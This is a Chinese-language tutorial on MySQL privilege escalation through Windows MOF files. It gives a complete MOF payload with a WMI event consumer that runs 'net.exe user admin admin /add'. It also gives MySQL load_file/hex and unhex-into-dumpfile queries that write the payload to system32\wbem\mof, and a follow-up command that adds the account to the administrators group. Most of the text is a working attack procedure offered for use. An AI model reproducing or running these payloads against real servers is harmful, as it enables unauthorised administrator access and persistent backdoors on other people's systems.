mysql数据库提权之——MOF提权
前题
只能在windows使用,应用范围:2008以下的系统,Mysql5.7以下(--secure_file_prive:此配置写文件不限制)
介绍
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做"托管对象格式"其作用是每隔五秒就会去监控进程创建和死亡
条件
mysql服务器配置允许root用户远程连接
原理
当mysql有了root权限以后,就可使用root权限去上传一个mof,隔一定时间以后这个mof就会被执行,这个mof当中可以写一段vbs脚本,这个vbs内容是cmd的添加管理员用户的命令
mof文件通过Mofcomp.exe编译执行
提权过程
1.远程连接数据库
命令行连接:mysql -h 要连接的mysql服务器ip -u root -p
Navicat连接(此处使用): 点击连接,输入要连接的mysql服务器ip,用户为root,密码数据库密码
2.编写mof文件
nullevt.mof文件内容如下,之后在net.exe user admin admin /add处替换命令即可
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
3. 上传mof文件
上传路径:C:\WINDOWS\system32\wbem\mof
上传:直接上传没有权限,可通过mysql语句写入
3.1 以二进制读取mof文件内容,并将结果转为十六进制
select hex(load_file("C:\\Users\\Administrator\\Desktop\\nullevt.mof")) into dumpfile'C:\\Users\\Administrator\\Desktop\\333.txt' ;
3.2 Navicat新建查询处输入以下命令,111替换为刚刚的16进制字符串
select unhex ('111') into dumpfile 'C:\\WINDOWS\\system32\\wbem\\mof\\nullevt.mof';
4.过一会mof文件里的命令就会自动执行,生成一个admin用户
5.修改mof文件,替换以下命令,重复步骤3上传,将admin添加到管理员组
mof替换命令:net.exe localgroup administrators admin /add
6.此处手动查看admin用户状态,进行结果检验